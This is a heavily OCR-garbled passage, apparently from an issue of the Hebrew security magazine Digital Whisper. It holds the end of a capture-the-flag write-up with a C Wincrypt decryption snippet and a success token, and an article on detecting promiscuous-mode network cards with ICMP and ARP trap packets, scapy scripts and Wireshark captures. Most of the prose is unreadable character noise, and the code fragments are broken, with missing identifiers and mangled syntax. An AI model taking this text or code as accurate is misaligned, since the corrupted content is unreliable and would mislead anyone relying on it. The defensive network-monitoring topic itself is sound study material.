XX Dl Ax xS q X X wineryptd' L 1ise L x4 X xLIxg 4 T
‘GX . X s Il x & s

#pragma comment(lib, "crypt32.lib")
#include <Windows.h >

#include  <Wincrypt.h >
#include <stdio.h >

#include  <malloc.h >

unsigned  char intel_txt_enc]]
unsigned intintel_txt_enc_len

int  main(void)

201-9 xS X . ¥WsiTux o
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HCRYPTPRO\phProv

HCRYPTHASHHash;

char *key = "\x00\x13\x37\ x8e\ xab\ x66" "VMwa" "0000";
HCRYPTKEYhKey;

char new_buffer[0x10] = {0}

DWORDen = 0x10;

for (unsigned int i = 0;i < intel_txt_enc_len; i ++) {
intel_txt_encfi] = intel_txt_enc[i] * 0x30;

}

CryptAcquireContextW(&phProv, L"DataSafeCryptContainer”, 0, 0x18, 0x50);
CryptAcquir  eContextW(&phProv, L"DataSafeCryptContainer”, 0, 0x18, 0x48);
CryptCreateHash(phProv, 0x8003, 0, 0, &hHash);

CryptHashData(hHash, key, OXE, 0);

CryptDeriveKey(phProv, 0x6610, hHash, 0, &hKey);

int counter = O;

int  bytes until_next rand om = 49;

int current_next_random_jump = 49;

for (inti = 0x28; i < 0x2e3 + 0x28;i ++)({

new_buffer[counter ++] = intel_txt_enc]i];
bytes_until_next_random -

if  (bytes_until_next_random = N0) |
current_next_rand om_jump-- ;
bytes_until_next_random = current_next_random_jump;
I += 4;
}
if (counter == 16) {
CryptDecrypt(hKey, 0, 0, 0, new_buffer, &len);
len = 0x10;
printf( "%.16s", new_buffer)
counter = 0;

}

scanf_s(
return 0;

a");

¢ x X 1X o« x 7oL s 1 x Readf”dgsL X1 . XXX

G d e

J

L Xxx”“Ls\
x Editor x "
v . X S S
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. « ” _I L S
Well Donel
You have successfully finished all the challenges!
This i1s your final success token
ZOFBQUFBQmMxWmd6Z0doNEIZMEFKWktRZjcyZz JJbGI4dcWZROC1YbOFBYIFEYXE
O0SkFIcFR2NzhKZFIPWUSETXVqWFU2NGJKdkS5ZZTFQaHFGeGFJZkisNTA2Q2MO0SIIY
QWpyRjJmeGsyZjimY19qdnpQRkdSSk4tcDNPNExsQWRyMOZVMGZnSzB5VONOZ3F
HaFRyMGozakxLdEx2UIBxODdDYjZEWIFKVGV1TR00yTXktMWixekindzF3Qy1vQXFDa
i14eHVTSGJLbkF1UUI20XVUbBDFYRTVJZ1JCZWhVOFcwdz09
please send your token and contact info to the following
A pleasure as always! Until next time

M

N . S . x 7 |

. Y . S X" X XA
q X s « s { s Ccxxso oxs |l X x| s THY] 3§ s Is ¥ « s . ¥ .
clX A s s Xy Tix L. sidds X0 0l Ll e x e e
X I X o Fd
s ” X s X ] ., x (s X s 4« <« 9L « S E XxL.{~s . X 7 X s ] XL

S X X 1A 1.1 b s Github* L _ x -, ¥w s LX< 7xXH 8. g
X 445X, | Github™ X« « " x Repositong <A . _SS 1 .11

.Repository.
x 72X 1 -@ettificdtes A4l _ 0 L . o~ 1S s 4s X s Xxo, 0 ox
X s X x o, L X« X 1oX o« ,oX o L i X PR X"y s {s LoX

~ 1 1 > ~ >

1 x XL XX x " DpenSS 4 x4 4, a0 Rlag o r Y XX TS L X

>

{Y ., s X s L _-{:"x~.|sA X S ]%Xsx -, <Zv\x xXT o GU sZL~As>Ls s .

> N~ v

X, ¥ I« "] " " I x .| X 4 ., 7« X LY L X

~ a ~ ~

”‘IXX\- X L X DX oL S J

< ~ ~

201-9 x5 X fywsiTux o,
www.DigitalWhisper.co.il
39 20194 " ¥0A T x { L ¥




B
- |

bxov 4 "X s 1 xxX x{s _
Xox o x 4 "X s 0w d ]

P . B s X . 1¢1 . +47x
4Ty s qs cx 14 ox Dx o4 A

Writeup.s . XXl oL X I, f - xS {Ms ",

Thanks for participating in this years challenge.
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We hope to see you next year.
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Promiscuous Modéetection

S'I,,:x"

s « S
P4 T x0 o x X<t Y x  nedesy 1d4 it Ao dx L. x x5y X X
R S [ P FoeX e o,k et X s KX X 7T s X FT ox o s
L, seXx _wis o otxpx T4 Do NIQ st Se s s 1 XX e dedXYs s (
4] .8
X L 1Tx 0L X x4 ] ., s Z‘MACX:%‘&EJ=:.|’,’,“§$XA22<3<\Z’5|XZJ-|X~V
S
. XX s s ., x X s e s 1 4L X , - _ - 8niffer) 1 Z=v'|‘,,s'| L PRV TR O

SUT el T x4 x4 Thkdvsdiffers $4 L8 Xk fe X L4 X €. d) b

~ ~ v

11, ks i)y X bs o lx s oxo 1 v d b o0 e e e
S . {iavi, «w L~ B X {5 X Xxx X 74 . (' X | x Y X ox o

A R R x s 7. Zs 4 IXOMAGY 8™ X x s X x_ 1 xus_ _ x

X N

LAl s, xdx 4 wxs o ox g o 7 0 DL ox {eniffer " AT, xS 1 L
11 17 Lo, X1 1 (PomiscubusModle) L N~ , S ¥ X X 4 L1
Lx 11 Fdoe s T X s, , Ss . DX ] X RN s ”
. Kernel Network Stagk - poXoXo DX
r LWireshark .~ « 4 X 0 v sxE oyl osox o s 7 s TR X,
L. (sAl A sdx dx sy 4l s e o8 4 x4 X pd AT xx L, A
:Promiscuous Mod& _ x 4 ¢4 _x s (s {4 <ix s Tq*< |, x1

! https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA (%D7%A8%D7%A9%D7%AA)
S1X T .St 4 1 Hebidl X 4 MACE x X xs1 | %y
https://www.howtogeek.com/228286/hovis-the-uniquenessof-macaddressesenforced
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https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA_(%D7%A8%D7%A9%D7%AA)
https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA_(%D7%A8%D7%A9%D7%AA)
https://www.howtogeek.com/228286/how-is-the-uniqueness-of-mac-addresses-enforced/

Technologic

The following applications and applications classes use promiscuous mode.

Packet Analyzer . ntop « Aircrack-ng
. NeiScout Sniffer . Firesheep « AirSnort
. Wireshark (formerly Ethereal) Virtual machine « Cain and Abel
. tcpdump . VMware's VMnet bridging Network monitoring
« OmniPeek « VirtualBox bridging mode « KisMAC (used for WLAN)
. Capsa Cryptanalysis . Kismet

x Mopx x4, x X e d o x LDl xS s o, o] , X7
L x 1A 1,407« s A L. rdr1ls 1, sxx L x 1A
L~ X L. Xovd oo o AXxs e oox 14 . x A
1 1 .{Promistuous Modeg + 1 « X .~ | S RV B A {1 xs { ¢ DXt ox o X
Lo X X Xy Lo L . oL X . oX”“'Ika AL(,’ X 394, | X § ¢
X v . X L X« L Fldox x 7oL ¢ v X x X4 =xxyvv S « X I ]
X 4 x ¥
17 AL TAxox o477 11 Xy Dox X sy i s, XS sixx .o X Y4 s .
171 A =>x\>< x « 41 xs X
S v "X BN N el e x s ] X o 104 T Xxk AP d 3195 Xx 4« X
"-I:v\.s }'LXA"x :X“‘X:L ,,v\.vx :XY‘XVS
LN
U B SN R B
uitch<Hub = x vy 1) 4 _x< b . XA 1.
.ONSICMPIR ARBR + 41 . x 7 T BN SIS S B Lo
. Ybunty) Linux + . 4 4 1% T x4 47
Threading + ., 4,4, % +x.9s 4 x7"]
S v 14 osdxi o xs 4 oS X xHd v X« ] T I
*lscapy - 14~ 0 A0 0 pythen X I o« X LA b 4 X 0 . s
S R R R S VRN N B S RN SN I IR B
ox HOF X ixqd L, o4 s X4 LT x s Lo s 4 .
s ox X s X.|Xv
Tox] L X Y x Uburtu- 12 = X" swdhdotws 7 ¢ 2 x 1 . L x| 151 X«

‘Windows 10 , 1~ _ 1.« 20(18.4Kali1 _ s
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Host Machine. Windows 10. 192.168.237 .1

Ubuntu 12. Windows 7.
192.168.237.128 192.168.237.132

Kali 2018 |

: ghiffers) r 17 1.1,

B e o A I ok I RSN S (SR 20 A IS P I
S ., x X s i 141 o BT XXX D ST s X kTR N s
s ., x X s sswitchf = ¢V - { ~ <" s A I x4 Cx 4T
R chox 0 s x> Tse i b T G
= X x . o~ S s 7 X - X, .S ”x~|_1~ xZLN,,,.tsx S Z-||z<-|,_,,vj X - x~2 s o
(4L s s o« XBroadcastid, xy X xDoosx ) x4 o Db X4 ] tos
F 1~ Huls-LL xY¥ s 'Suitchw r XMAC Floding = x ¥ | R T FoA
~ * ARPB1ARPSs N -+ ARP Spoofihg™ ~ X o _ Pt xS X
.|”~s P [ I_x“vx <“x:s Fo . % L
s oy x Iy PR X A s ST L 2o S B (RS R N I I B B
.wiresharkxtcpdump + s
Py AT L T xR L X dxs X oy
e A 4T

T s 408 L _Switch: x 1 X 4 " ,,ZIxeWSI,,-FX ,,=vx~>(’+ f L X R s X
PX s F RO T T T X s L X L s L xs T XS L s X X

X s A e d 1% _41%_s<{LSKIAC Flooding ARP Spoofing X) ¥ 4 4 X 44 o « s
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https://he.wikipedia.org/wiki/MAC_flooding
http://articles.manugarg.com/arp_spoofing.pdf
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?Promiscuous Mode ¢s

XTs{CX s || JZx””V

r 1Y s 7 D Promiscuoud Mod& * s ¢~ x4 441 414+

A1
Xpes p 4 bxss oo x o Ix 47 s D X G
I I VR T R LSXx X T o 4y s b ] o

b4 % .. x-Ethermet £ _ L 94y %) S XS A .xsk 414 s

S et s s (L4 1SFD e w15, X Pleamblé + » 2 7S b 4 X

64 - 1518 bhyte

Ethernet Header (14 byte)
46 to 1500
7 byte 1 byte 6 byte 6 byte 2 byte byte 4 byte
Frame
Start L
Destination Source Length Data Check
Freamble DI;r‘iamn‘:teer Address Address ¢ Sequence
(CRC)
IEEE 802.3 Ethernet Frame Format
S N | . «loxox .

cAs xS s d x4

X < Xs x, . Jws

XL LMAC PGl s~ 4s s X111 qs

Multicas) + 1 * 4 1.~ o~ T 201 x4

ToAT s Ix o X 42X 7 s3]

~ ~

. Unicasj

S .« _ 4 1% -(Broadcast
Multicast . . 11~

Network IC

XLLS .X-IX,,N)\S '~XL

T _sx s, xFddad . 41,1

S
L X 41 1Kefdnels, s~ " sy L

3 https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and start frame_delimiter
* https://en.wikipedia.org/wiki/Frame check sequence
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https://en.wikipedia.org/wiki/Multicast#Ethernet_multicast
https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start_frame_delimiter
https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start_frame_delimiter
https://en.wikipedia.org/wiki/Frame_check_sequence
https://en.wikipedia.org/wiki/Frame_check_sequence
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Cloxoxg Cx P50, 0x 1 x4 RINGS XL g AN )l o,

K U LR S YT § I E RN

Hardware Filter

S s X xql v fs 4 L s vy y -5 A1 A4 L
s L xxs cx o =X X4 r (e d) T opd R
sl 4 x x 7 _ s sXx b v oxs T4 T e b s 4

x ©s s 4 X ] s Xxy o o-pd¥l <% 9d%xd T F _dAXBE o~
s X x : x "o 4 ¢ 714 x ] xs,x Siv A PSS Xt X s {X

:ICMP PING Detection

Echo request ¥ XICMP - 1 « | x x 1 x 1 ox " * 1y 1. " CLlx

~ ~ ~ ~ ~

.ping Y s ")

P X x D] b X X Lx v L SMAGS T P X x T X s s xS T gy x

XL Coq . S I {s DXox o]
Kernets Kermnehh -~ x> © s1< s 0 s A4, 1 T _ . Tx74 T {ox
L Headerss @+ . X L4 2ex% ] X xo {1 Xs 4,8 X { R
ICMPEChoReplys » € 1% L X« x ss ({%Rs . I X¥q§ |« x&xx{ ] _ 1 x"x|{

import  sys
from scapy .all import *

ICMP_ECHO_REQUESE 8
MAX_TIMEOUT= 2

def (device_ip ):
request_packet = Ether (dst = )
request_packet /= IP (dst =device_ip )
request_packet /= ICMP(type =ICMP_ECHO_REQUES$T
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http://www.securityfriday.com/promiscuous_detection_01.pdf
http://www.securityfriday.com/promiscuous_detection_01.pdf
https://he.wikipedia.org/wiki/%D7%A4%D7%99%D7%A0%D7%92
https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/icmp_ping_detect.py

Technologic

response = srpl (request packet , timeout =MAX_TIMEOUT iface =
, Vverbose =False )
if response is None:
print ( . format ( DEVICE_IP
= device_ip ))
else :
print ( .format (DEVICE_IP =
device_ip ))

def 0:
target_device_ip = sys.argv [ 1]
detect_promiscuous (target_device_ip

if __pname__ =="' main_'

detect_promiscuous(dev
st_pa

/irtual Et
if response 2
print("Devi is i i .".format(DEVICE IP = device ip))

print("D is in .format(DEVICE IP = device ip))

X bsxo o, 0 i

IL_BRs X x D Ll s WK s

~ >

- b X =v.|4,,g<|,,\x “ZV>SXZZ ‘.Js_"xix-|J>°<-|Z-|>‘£>q§)-usIZA -|_S~MAGSZ x x .8l

X« X84 L scapy

X LN S I xendls 4 SRS DX x D] L 5% ] Headers © +S 1. _d 9"

v

T L B e DX DT Yl X 3 Qe 54 A IPis xS s A . ]

>

X T, X XS 0 xscapy, kX

Echo- * 4 1 Sapy* ICMP: +t 1 ¥ 1. - %19 &IUCKMPL _Headers - + 1 .1x0

.8+ xss. ) Echo Reque$tr 1 " 41X ™ & , X
O DX e xS, ] s Xl XX S 4o o8rpl x| o sd X ot x s T
XMl LS s SO X S Cs g XS xSt S S, T X 8]

None- 1 S<l4xsisxl 4 S.% %, of SsHi o " x s

>

A x24T X s Request

Fd- B 4170 x @ s |

Jxes X ssel o xs e s ]
X 428 8, w0 SXT ] s 0Ses X TIx I TT A A Ke, X{ 4 T Ss 2

A

X, X Lo X S X LTI LS xS ] Ise 3
LUX]" xs

s, e Eixsts M TEx s s T AL xsdd 40X XTI K4

A XX Al X P LS e L x Lx
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LS T XS T TR X T s S S L TX TS, s aa XL IBT T 1D

e SA T ass x oy, T IS ILX T X e X fv 4 st X x " T s s
R
Eches : . w XL "I{M ¥ s ]l;~3 o511 o] ks 9y x X HENTRCANT SR XL
_uxzf:vxx”\-|x‘s,_~x ~_1<”]L~~

ST X s L S X T X KX s DX XY T 4]y sy ]

TR O

1204 @7 x | A4 _Lsosxylss X xxi 4 1 .s 4 1.]_ 1 s"x |
Windows 10 _ 1 ~ _ 1.« Wirestfark 1s_4s. . 1osbbxes.opg*x 1(: ! Ubupty )
s " x| S i1 .~
osboxes@osboxes:~S$ ifconfig
ethe Link encap:Ethernet HWaddr 00:0c:29:19:1d:5f
inet addr:192.168.237.128 Bcast:192.168.237.255 Mask:255.255.255.0
S X .5 o T AT X LT s AUS e YD X IX L T s XX s oxT L]
X4 T4 4 . (4 ]
osboxes@osboxes:~$ grep -r promiscuous fvar/log/kern.log | tail -1
Feb 15 15:54:11 osboxes kernel: [ 2598.747852] device eth® left promiscuous mode
osboxes@osboxes:~$
11,1 s v oL "] Lo 10, T X XY v rwd X5 sy A
(sutd1: 1 X 4L~ LT v s L)

F Y I ox fetstat-i x sifconfigx )1 4 X 4 1 . ixEATXELS LD x o xDox L X PXY st
PSS s T ss o Y XX ]isex el X XX 4 S 4 XX ek T s L x (s

. Wiresharkx _sI' | ¥ x .« p Terminals | ~ 9 7 1 + 8§ x5 X ,X 8 Is.

S
C:\Users\bnaya\Desktop\scripts>icmp ping detect.py 192.168.237.128
Device 192.168.237.128 is not in promiscuous mode.
C:\Users\bnaya\Desktop\scripts>
X X X x”-|‘ S, S q
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X X " X ”
'||_x~s ~1v oL “vs S vas L~X '||_x~s
m‘ ) N B -} £
No. Time Source Destination Protocol  Length Info
1 0.000000 192.168.237.1 192.168.237.128 P 42 Echo (ping) request 1id=0x0000, seq=0/@, ttl=64 (no response found!)

Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bi on_jnterface @
Ethernet II, Src: Vmware_c0:00:01 (00:50:56:c0:00:01), Dst: (ab:cd:ef:11:22:33)
Internet Protocol Version 4, Src: 192.168.237.1, Dst: 192.168.237.128
v Internet Control Message Protocol

Type: 8 (Echo (ping) request)

Code: @

Checksum: @xf7ff [correct]

[Checksum Status: Good]

Identifier (BE): @ (©x0000)

Identifier (LE): @ (©x00€0)

Sequence number (BE): @ (0x0000)

Sequence number (LE): @ (0x0000)
v [No response seen]

[Expert Info (Warning/Sequence): No response seen to ICMP request]

=_]\_~XMAC>:-|XXX¢:VJLX |P_$":XX_]XV:SJLL~S~“XS N T L 1T .+ « s x

’”

X . - L Fd o« X, aspX xx "I oss, ] ws”

~ ~ ~ ~

Capturing from Pseudo-device that captures on all interfaces [Wireshark 1.6.7 ]

= 2 Q=223 T & BB @ =
Filter: Expression...
No. Time Source Destination Protocol Length Info
(| ¢ «Wireshark . x 7 4 L « T s "4 S Lo x X P XB oox ] T
s " " x Xn-lL 51“ s 'I"S , X ,, X”-I\_ ., S -|1,,J
x " 1 X A i . s v X X s "
* < wireshark © -« "Ubdnu - 7 x ] _x*. T R, U HE N S R R R
:root X« .5 1 L X
& Capture packets in promiscuous mode
[1 Canture nackets in ncan-na Farmat
L, . s 141. 1 -~

osboxes@osboxes:

_S
Feb 15 16:02:13 osb

rep -r promiscuous fvar/log/kern.leg | tail -1
xes kernel: [ 3080.134877] device eth® entered promiscuous mode

9
0
osboxes@osboxes:~$ I
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BRI
osboxes@osboxes:~% sudo ifconfig eth® promisc
[sudo] password for osboxes:
osboxes@osboxes:~5 netstat -1i
Kernel Interface table
MTU Met RX-0OK RX-ERR RX-DRP RX-0VR TX-0OK TX-ERR TX-DRP TX-OVR Flg
1560 @ 202 3] 00 664 (0] 0] @ BMPRU
65536 0 446 3] e e 446 (0] 0] @ LRU
osboxes@osboxes:~%
Interface. Promiscuo(sP L ¥ I s R
«{ss 1% 7 X 44.J 48 x,netstat-iL A S b oxsaosp s | sXxy
Lo X~y x X0 % 1 x d K s _-"P'-1Pointto Point® « _ S« ¥ ¥ 4 |
(netstat
. . _I . ”
scripts>icmp ping detect.py 192.168.237.128
is in promiscuous mode.
. X « x X nox X ", s 11 . | s " x |
M ™ Pseudo-device that captures on all interfaces [Wireshark 1.6.7 ]
File Edit Vview Go Capture Analyze Telephony Tools Internals Help
B & & EExXCcCEa Qe ¥IT L+ EB ol & -
Filter: || icmp ¥ | Expression... Clear
No. Time Source Destination Protocol Length Info
1 0.000000 192.168.237.1 192.168.237.128 ICMP 62 Echo (ping) request id=exeeee, seg=0/¢
2 0.60080027 192.168.237.128 192.168.237.1 ICMP 44 Echo (ping) reply id=0x0000, seqg=0/6
» Frame 2: 44 bytes on wire (352 bits), 44 bytes captured (352 bits)
» Linux cooked capture
» Internet Protocol Version 4, Src: 192.168.237.128 (192.168.237.128), Dst: 192.168.237.1 (192.168.237.1)
b
Type: @ (Echo (ping) reply)
Code: @
Checksum: @xffff [correct]
Identifier (BE): @ (@x@@0@00)
Identifier (LE): © (©x0000)
Sequence number (BE): © (0x0000)
X ., LICMP"EChe © _«~*iL *4Y¥s EChdReply **Q _5 s *x. s |
20184Kali © " x 1 _ L. ¥ Ao XA~ ST X {MAGS, 4T E X 1Y L1
X s ¢ X 4 s X v oo
S R T T RN I R . N O N 2 B I S A
~ 4 ¢ X X, o 1 L X « 4 x 1 s " q . « 1 s x4, X s |
Fa(se Negatives~ « 1 X)) X 4 Xy
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https://github.com/ecki/net-tools/blob/0eebece8c964e3cfa8a018f42b2e7e751a7009a0/lib/interface.c#L627-L634

11921168.237132: ~ 1 s IPs L : ¥ xSPY64 bit Windows 7 © " x | _ 4

”

box A v L © o~ X« Wireshark ~ 1~ | Pramiseuous -« Wifeshark s 1 L |

s © s y

L B
X « . APXMAC & X X XIP LD e 1L 7
my packet = Ether(
my_ packet IP(dst 168.2
sendp(my_packet, iface="VMware Virtual Ethernet Adapter for VMnetl")
1t 1 packets.
1 s X ] X s x s
T RERe==FosEFEaaaHn
| |a.3:- y & display filter
Mo, Source Destination Protocol  Length Info
1 192.168.237.1 192.168.237.111 IPv4 68
* Frame 1: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits) on interface @
+ Ethernet II, Src: Vmware_c@:80:01 (@@:50:56:c@:08:81), Dst: aa:bb:cc:dd:ee:ff (aa:bb:cc:dd:ee:ff)
» Internet Protocol Versiom &4, Src: 192.168.237.1, Dst: 192.168.237.111
{7 S « X L S R S 1 i . «
1 ] . X N D G IR X s ¢ L 14 L s N 1 1. < S
17 s X 1% sy
| |-.33 y a display filter ... <Ctrl-/> 'I Expression..
Mo. Source Destination - Protocol  Length Info Time
1 192.168.237.1 192.168.237.132 ICMP 68 Echo (ping) request id=0x@@@@, seq=8/8, ttl-64 (no response .. 8.080888

Frame 1: 6@ bytes on wire (480 bits), 6@ bytes captured (488 bits) on interface @

Ethernet II, Src: Vmware c@:00:01 (@@:58:56:c8:80:81), Dst: ab:cd:ef:11:22:33 (ab:cd:ef:11:22:33)
Internet Protocol Version 4, Src: 192.168.237.1, Dst: 192.168.237.132

Internet Control Message Protocol

Jd A s xx 0 s L, €7« 1+ L AGMP Echo.Requést_ x i X ws, g X O
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X e s L, xx yx{IAMPECGhET X L L S LT L. ix A 4 ¥
C:\Users\bnaya>ping 192.168.237.

192.168.237.132 with 32 bytes of data:
timed out.
timed out.
timed out.
timed out.

Ping statistics for 192.168.237. -
Packets: Sent = 4, Received Lost = 4 (100% loss),

25 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=17/4352, ttl=128 (no response found!)
26 Vmware_c©:00:01 Vmware_c1:80:86 ARP 60 Who has 192.168.237.132? Tell 192.168.237.1

27 Vmware_c1:80:86 Vmware_c@:00:01 ARP 42 192.168.237.132 is at ©0:0c:29:c1:80:86

28 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=18/4608, ttl=128 (no response found!)
29 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=19/4864, ttl=128 (no response found!)
30 192.168.237.1 192.168.237.132 ICMP 74 Echo (ping) request id=0x0001, seq=20/5120, ttl=128 (no response found!)

N

. X - . D 194 L - 17 s X ] s ST ] S L, X . s =
~ ~ < v o~ ~ ~ ~
X, x X XY ]l <As x4 xs7T
° > ~ ~
v X e TSR T X Y X x| CMP ECKO! XX _4u_XS  LI¥XG_ X v XSy
” ” H H - m %
117 xx ., xs o« "Windows ciFEilewaltst s oo T x Ipx o, x
Distributed Transaction Cocrdinator (RPC-EPMAP)Y Distributed Transaction Cec... Private, Public Mo Allow: Nie WSystem... Any Local su bret TP RPC Endp.
eDlstn buted Transaction Coordinator LI(P In) Distributed Transaction Coo... Private, Public Mo Allow Nie System... Any Local su bmet TP Any

Distributed Transaction Coo..  Diomsin Allow  No System... Any Any TP Any

File and Printer Sharing Dormain ICMPv4

oF ile and Printer Sharing (Echo Request - ICMPv6-In) File and Printer Sharing Dormain No Allows Nie Any Any Any ICMPv6 Any

” » x . = . x* . x . .
X L s X . L 1 st AT X s s -4§JM£3V4 ] XX sX X X e 4 s ¢ «
X 1X o« «dc
) File and Printer Sharing (Echo Request - ICMPvd-In) File and Printer Sharing Private, Public Allow No Any Any Local subnet ICMPw4 |
” X N 1 « x X

C:\Users\bnaya>ping 192.168.237.132

Pinging 192.168.237.132 with 32 bytes of data:
Reply from 192.168.237.132: bytes=32 time<lims TTL=128
Reply from 192.168.237.132: bytes=32 time<lims TTL=128

C:\Users\bnaya\Desktop\scripts>icmp_ping_detect.py 192.168.237.132
Device 192.168.237.132 is in promiscuous mode.

s " x| s - X s € 141 L
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s " x , 1«58 s ¥ x 1 s Doa

%]
-
¢
{

Windowss 1@ " x 5% _ | s X € s Linuks | oo x{le X x T

XL e e s s O IGMP LTS XX L X st L T AT x4

S v oo X 1T 9 T K% 14 . SNI@sS™ =~ lpsx 1o sTXx{ ~ 1 ¢ 71 s _—

~ v

s { xy
. 46 7 s L IA-|s x~'|v Axlv Z-A“IVLXAl,,I,,Z|xx|~Z=\¢\sX‘”,_,_M
17" . X e 1 s R I s 14 ] ol X8 Xxx” olos
JXSTes T, x oD sFirewall cex, xeh 40X 4T L 417 .

ARP Test

MAC - *x TICMP- = 1« 101 1 ¢ X« _ X X« o+ Ixgos s44 | s
ARP L x « x 1 x , T T B
MAGS & X x D 1 Do 41X MAGST "IN T AT T ARBLL X0 X 4

* x ARR Requet S _ ~* L4 X1 TuSATIPST 4NN x T] o x X T p X

o4 Rs (o *x 1 ] <« Brdadcast , s _ XX

P S, C-IX PsS " X X x 1] - s s ¢ b {s L X~ s XS .
XS s v D XNAGE L X X< o qs T MAGS T xx 5] ] ]x

IP * *x 1 1> | «ARP Cachexaple I X 1(x 1IPs MACS1 > _ I x 4 .s v o, x
T T I R S B SO N

ARP Request

Source: MAC: 12:12:2:f2:12:12
Target IP: 192.168.0.1
Target MAC: 00:00:00:00:00:00

f &
&

ARP Response

- -————
Source IP: 192.168.0.1 % e@

Source: MAC: 02:12:02:£2:02:/2
Target IP: 192.168,0.101
Target MAC: 12:02:02:12:12:12

[http://computerprojectsduffwikia.com/wiki/File:Image0021268491809942]pg

https://he.wikipedia.org/wiki/Address Resolution Protocol
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http://computerprojectsduff.wikia.com/wiki/File:Image0021268491809942.jpg
https://he.wikipedia.org/wiki/Address_Resolution_Protocol
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ARP | x « Xwindows L , x 171 X v 2x ¥ oy SAMPT X« X 4qYx L o xy
RS X i IPV4 % X X X s x 47,1 x s ., X « s X .,
PARP
s . X 1 S L ., X « S X X ] 4% XXy s|” " g 4dx s¢ € Ksex oK%
T R SN N S S B
L X1 ox A9 s o x Dxx D D ARPR X T L s T x o 4XXT ]
Cache x 1L <« v 4 -x_  ~0v _  +ARP IX > P+ X1
X e X L d X X s x e X T o ARP L XL14 D Y S i LA L s
oo st AT DT b e X T xS 41 L XARPL X oW x X, X
ARPL X « X 4 %o v e 4o WIS L K T s L I P x o iwes] L
A 2T A L X MACE X X SRS X oo L 1 D
ARP @ <X L] L sT o4xJ A5 _ Xs 1 4 FTa] g ¥l7sqg"ss [
Fos , oo € JX o MAGE  x ¥ x X Ly~ t B x4 RS >Xpogn s 4 X
s x. =" Brmadeagts " 4 -« X« MAG X XX 197 dy_ X X, X7 {.
s X X LJ S « ”
detect_promiscuous(
arp_packet = Ether(d
= device ip)
» timeout=MAX_TIMEOUT, iface=
de.".format (DEVICE_IP = device ip))
.format(DEVICE_IP = device_ip))
(Fxexls g sy

Lo AOMAQ:E A T4 X x g 47 4 §sv*__Ethernets {ss” x

2% 5 150

X x Isifss ) D4 ¥t SisX x IARPs ¢ X ]I v+ 4 FEthernets @ X | £ v .11
xR s ] s . S
sOx T s(MT A, xsid A xxdd s X0 )T o Xs] L T2
Iy, sk Fs 1 s{f.ss X x xP el xds {8 ¢! )13
XX xXu e sd s s T e e X s 4 X T s
2.4.9 X
cAdx  ® %) 1 ¥ 17 X ¥ARP- IPVE” °
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https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/arp_detection.py
https://en.wikipedia.org/wiki/Neighbor_Discovery_Protocol

:\Users

s , X ] s 1L ” S - X s X «
o Time Source Destination Protocol  Length Info
1 0.600808 Vmware_c@:00:81 aa:bb:ccidd:ee:ff ARP 42 Who has 192.168.237.128? Tell 192.168.237.1
‘NIGs 1 " S 77 XARPS. 1S o Xp xiewp pp¥eaX_.s X ]
Filter: v | Expression...
No. Time Source Destination Protocol Length Info
. X . X . L s ”
osboxes@osboxes:~$ sudo ifconfig eth® promisc
[sudo] password for osboxes:
osboxes@osboxes:~$ netstat -i
Kernel Interface table
MTU Met RX-0K RX-ERR RX-DRP TX-OK TX-ERR TX-DRP TX-OVR Flg
1500 O 1675 0 1264 (0] 0 6 BMPRU
65536 0 894 894 0 0 0 LRU
osboxes@osboxes:~$ I
‘Wireshark*  x «
[ Capture packets in promiscuous mode
_i ” _I ” X
X's ¢
{1 X « ., ] s I x s s . 1
LIEB - BE) -] e
No. Time: Source Destination Protocol  Length Info
3 25.916736 Vmware_c@:0e:81 aa:bb:cc:dd:ee: ff ARP 42 Who has 192.168.237.128? Tell 192.168.237.1
S . X s . TR
Filter: |arp v | Expression... Clear
No. Time Source Destination Protocol Length Info
| | | | | |
Promiscuous Mode Detection
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X o ¥ 0 v ds e o) X DX x,is] g ql L, PXx B XY by s o ] 1T L X

?2TUEMP L . s <47 11 o x 7 SSIX xs Il xS Tes, 14 Al

>

X Le XXX ; Dy CAARP L X% X 1% X DX x {x %
. SoftwareFilter) " 4 T Ix Ds T x4 st XLk $ 1% X X X ] xR x
NIGs 1" Cox X 10, x1s Tx7 4 s
« XS Fod ” x » v X X "] .

MNormal

NIC {normal)

rej
ARP request (192.168.1.10) » ARP request (192.168.1.10) »
dst address : 00-00-00-00-00-01 dst address : 00-00-00-00-00-01

[http://www.securityfriday.com/promscuous_detection_01.pHf

T s Do LA 4 o s 4.l LAY, X X

. B P . Wireshark* « s™ «x s {4 <x (S« .7 ~ 1 Y Cuox) s

?2s " s st pl s e s 4] XAy s oo L1X4 x o

o~ x N I ~N|C§s" 14 X A=~Z o o4 X's . x4 " oo~ DX ] . = s s "
Lx W {lixe s 4 ys L% ] v {s  p. st ONIGE" 4 "s " ARPIX L X

I L, X TR, T A x o T xIXxqix ] sty s " X T ox X L

X . 1« 4" S AR 1

Promiscuous Mode Detection
www.DigitalWhisper.co.il
55 20194 " ¥0A T x { L ¥



http://www.securityfriday.com/promiscuous_detection_01.pdf

LX s, " X x4 ) s MAC, S XX XL L lx g X LK R X, T

X, X X X L1y . x x DX ox oy Tu X (:x

o > ~ ~

Table 1. Promiscuous mode detection results using trap ARP request packets

Operating Windows XP | Windows Windows Linux 2.4.x FreeBSD 5.0
Systems Me/9x 2k/NT
Hardware Norm. | Prom. | Norm. | Prom. | Norm. | Prom. | Norm. | Prom. | Norm. | Prom.
Addresses
FF:FF:FF:FF:-FF:FF | Br 0 0 0 0 0 0 0 0 0 0
FF:FF:FF:FF-FF-FE B47 — X - X - X - X - X
FF:FF:00:00:00:00 Bl6 — X - X X X - X - X
FF:00:00:00:00:00 B8 - - - X - - - X - X
01:00:00:00:00:00 Gr - - - - - — — X — X
01:00:5E:00:00:00 MO — — - - - — — X — X
01:00:5E:00:00:01 Mi 0 0 0 0 0 0 0 0 0 O
